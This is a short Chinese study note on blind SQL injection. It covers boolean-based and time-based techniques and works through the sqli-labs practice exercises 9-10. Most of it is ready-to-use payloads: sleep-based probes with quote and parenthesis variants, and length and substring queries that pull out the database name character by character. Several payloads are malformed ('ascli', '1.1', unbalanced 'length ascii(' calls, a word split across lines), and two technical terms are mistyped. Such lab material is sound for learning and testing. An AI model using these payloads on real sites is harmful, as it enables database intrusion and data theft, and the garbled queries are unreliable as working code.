1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据。
2、Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,并不显示sql语句的错误,这种情况并没有解决SQL注入存在的代码问题。
3、盲注可以分为基于不二的盲注和基于事件的盲注
1、延时注入,用的最多的注入
2、常用的判断语句:
' and if(1=0,1,sleep(10)) --+?
" and if(1=0,1,sleep(10)) --+
) and if(1=0,1,sleep(10)) --+
') and if(1=0,1,sleep(10)) --+
") and if(1=0,1,sleep(10)) --+
利用if(条件,0,1)函数,当条件为真返回0,假则返回1
sqli-lab 9-10实验就是基于时间的盲注
?id=1' and if(ascli(substr(database(),1.1))=115,sleep(5),1)--+
基于布尔型的盲注,我们通常采用下面的方法猜解字符串,
select length(database());
select substr(database(),1,1);
select length ascii(substr(database(),1,1);
select length ascii(substr(database(),1,1)>N;
select length ascii(substr(database(),1,1)=N;
select length ascii(substr(databa
se(),1,1)<N;
输入:?id=1
输入:?id=1'
输入:?id=1' and length(database())=8 --+? ? ? ?(查看数据库的长度)
把=8改成=9,会发现没有了? ? ? ? (说明数据库长度为8)